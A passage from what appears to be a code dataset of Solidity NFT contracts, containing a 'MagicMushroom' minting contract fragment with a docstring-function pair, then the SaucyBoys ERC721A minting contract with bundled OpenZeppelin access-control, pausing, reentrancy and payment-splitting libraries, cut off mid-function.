tokenLicense(uint _id) public view returns(string memory) { require(_id < totalSupply(), "CHOOSE A MUSHROOM WITHIN RANGE"); return LICENSE_TEXT; } // Locks the license to prevent further changes function lockLicense() public onlyOwner { licenseLocked = true; emit licenseisLocked(LICENSE_TEXT); } // Change the license function changeLicense(string memory _license) public onlyOwner { require(licenseLocked == false, "License already locked"); LICENSE_TEXT = _license; } function mintMagicMushroom(uint numberOfTokens) public payable { require(saleIsActive, "Sale must be active to mint Mushroom"); require(numberOfTokens > 0 && numberOfTokens <= maxMushroomPurchase, "Can only mint 20 tokens at a time"); require(totalSupply().add(numberOfTokens) <= MAX_MUSHROOMS, "Purchase would exceed max supply of Mushrooms"); require(msg.value >= mushroomPrice.mul(numberOfTokens), "Ether value sent is not correct"); for(uint i = 0; i < numberOfTokens; i++) { uint mintIndex = totalSupply(); if (totalSupply() < MAX_MUSHROOMS) { _safeMint(msg.sender, mintIndex); } } } function changeMushroomName(uint _tokenId, string memory _name) public { require(ownerOf(_tokenId) == msg.sender, "Hey, your wallet doesn't own this mushroom!"); require(sha256(bytes(_name)) != sha256(bytes(mushroomNames[_tokenId])), "New name is same as the current one"); mushroomNames[_tokenId] = _name; emit mushroomNameChange(msg.sender, _tokenId, _name); } function viewMushroomName(uint _tokenId) public view returns( string memory ){ require( _tokenId < totalSupply(), "Choose a mushroom within range" ); return mushroomNames[_tokenId]; } // GET ALL MUSHROOMS OF A WALLET AS AN ARRAY OF STRINGS. WOULD BE BETTER MAYBE IF IT RETURNED A STRUCT WITH ID-NAME MATCH function mushroomNamesOfOwner(address _owner) external view returns(string[] memory ) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new string[](0); } else { string[] memory result = new string[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = mushroomNames[ tokenOfOwnerByIndex(_owner, index) ] ; } return result; } } }
Returns the license for tokens
function tokenLicense(uint _id) public view returns(string memory) { require(_id < totalSupply(), "CHOOSE A MUSHROOM WITHIN RANGE"); return LICENSE_TEXT; }
2,216,598
//SPDX-License-Identifier: Unlicense // Creator: Pixel8 Labs pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./lib/Allowlist.sol"; import "./lib/ERC721A.sol"; import "./lib/cIERC20.sol"; contract SaucyBoys is ERC721A, PaymentSplitter, Ownable, AccessControl, Pausable, ReentrancyGuard, Allowlist { uint private maxSupply = 1869; uint private maxPerTx = 20; uint private maxPerWallet = 3; // for Allowlist // Metadata string internal _tokenURI; // Pricing uint256 public price = 0.06 ether; uint256 public tokenPrice = 300 ether; // Phases mapping(address => uint) private claimed; bool public isPublic = false; bool public isPreMint = false; uint public maxTokenMint; uint public maxEtherMint; uint private curTokenMint; uint private curEtherMint; // Proxy address private stakingAddress; address private tokenAddress; constructor ( string memory tokenURI_, address[] memory payees, uint256[] memory shares ) ERC721A("SaucyBoys", "SB", maxPerTx) PaymentSplitter(payees, shares) { _tokenURI = tokenURI_; _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); transferOwnership(0xC8a6e81E8473feB3ae676C543531a8169832EFdC); } /** * @dev Public minting function */ function mint(uint amount) external payable whenNotPaused nonReentrant { require(isPublic, "public mint is not open"); require(amount <= maxPerTx, "amount too big"); require(msg.value == price * amount, "insufficient fund"); require(curEtherMint + amount <= maxEtherMint, "exceed current max ether mint"); curEtherMint += amount; _mint(msg.sender, amount); } /** * @dev Whitelist minting function, requires signature */ function preMint(uint amount, bytes32[] calldata proof) external payable onlyAllowed(proof) whenNotPaused nonReentrant { require(isPreMint, "pre mint is not open"); require(claimed[msg.sender] + amount <= maxPerWallet, "exceed mint quota"); require(msg.value == price * amount, "insufficient fund"); require(curEtherMint + amount <= maxEtherMint, "exceed current max ether mint"); curEtherMint += amount; claimed[msg.sender] += amount; _mint(msg.sender, amount); } /** * @dev Token minting, requires ERC20 token $CONDIMENT */ function tokenMint(uint amount) external whenNotPaused nonReentrant { cIERC20 token = cIERC20(tokenAddress); require(tokenAddress != address(0), "token mint not open"); require(curTokenMint + amount <= maxTokenMint, "exceed current max token mint"); require(amount <= maxPerTx, "amount too big"); require(token.balanceOf(msg.sender) >= tokenPrice * amount, "insufficient token"); require(balanceOf(msg.sender) > 0, "need to be a holder"); curTokenMint += amount; token.burnFrom(msg.sender, tokenPrice * amount); _mint(msg.sender, amount); } function _mint(address to, uint amount) internal { uint supply = totalSupply(); require(to != address(0), "empty address"); require(amount > 0, "amount too little"); require(supply + amount <= maxSupply, "exceed max supply"); _safeMint(to, amount); } /** * @dev Admin only airdrop function */ function airdrop(address wallet, uint256 amount) external onlyRole(DEFAULT_ADMIN_ROLE) { _mint(wallet, amount); } function owned(address owner) external view returns (uint256[] memory) { uint balance = balanceOf(owner); uint256[] memory tokenIds = new uint256[](balance); for(uint i = 0; i < balance; i++){ tokenIds[i] = tokenOfOwnerByIndex(owner, i); } return tokenIds; } // Pausable function setPause(bool pause) external onlyRole(DEFAULT_ADMIN_ROLE) { if(pause) { _pause(); } else { _unpause(); } } function setMaxSupply(uint amount) external onlyRole(DEFAULT_ADMIN_ROLE) { maxSupply = amount; } function setMaxPerWallet(uint amount) external onlyRole(DEFAULT_ADMIN_ROLE) { maxPerWallet = amount; } function setMaxPerTx(uint amount) external onlyRole(DEFAULT_ADMIN_ROLE) { maxPerTx = amount; } // Minting fee function setPrice(uint amount) external onlyRole(DEFAULT_ADMIN_ROLE) { price = amount; } function claim() external { release(payable(msg.sender)); } // Allowlist function setMerkleRoot(bytes32 root) external onlyRole(DEFAULT_ADMIN_ROLE) { _setMerkleRoot(root); } function setPublic(bool value) external onlyRole(DEFAULT_ADMIN_ROLE) { isPublic = value; } function setPreMint(bool value) external onlyRole(DEFAULT_ADMIN_ROLE) { isPreMint = value; } function setMaxTokenMint(uint amount) external onlyRole(DEFAULT_ADMIN_ROLE) { maxTokenMint = amount; } function setMaxEtherMint(uint amount) external onlyRole(DEFAULT_ADMIN_ROLE) { maxEtherMint = amount; } // Metadata function setTokenURI(string calldata _uri) external onlyRole(DEFAULT_ADMIN_ROLE) { _tokenURI = _uri; } function baseTokenURI() external view returns (string memory) { return _tokenURI; } function tokenURI(uint256 _tokenId) public view override returns (string memory) { return string(abi.encodePacked( _tokenURI, "/", Strings.toString(_tokenId), ".json" )); } // Proxy function setStakingAddress(address addr) external onlyRole(DEFAULT_ADMIN_ROLE) { stakingAddress = addr; } function setTokenAddress(address addr) external onlyRole(DEFAULT_ADMIN_ROLE) { tokenAddress = addr; } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return super.isApprovedForAll(owner, operator) || (stakingAddress != address(0) && operator == stakingAddress); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, AccessControl) returns (bool) { return super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol) pragma solidity ^0.8.0; import "../token/ERC20/utils/SafeERC20.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment(account, totalReceived, released(account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] += payment; _totalReleased += payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); uint256 payment = _pendingPayment(account, totalReceived, released(token, account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _erc20Released[token][account] += payment; _erc20TotalReleased[token] += payment; SafeERC20.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/math/Math.sol) pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } //SPDX-License-Identifier: Unlicense // Creator: Pixel8 Labs pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; contract Allowlist { bytes32 public merkleRoot; modifier onlyAllowed(bytes32[] calldata _proof) { require(isAllowed(_proof, msg.sender), "Allowlist: not found"); _; } constructor () {} function _setMerkleRoot(bytes32 root) internal { merkleRoot = root; } function isAllowed(bytes32[] calldata _proof, address _address) public view returns(bool) { bytes32 leaf = keccak256(abi.encodePacked(_address)); return MerkleProof.verify(_proof, merkleRoot, leaf); } } // SPDX-License-Identifier: MIT // Creator: Pixel8 Labs pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata,IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 1; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_ ) { require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex-1; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 1; i <= numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, 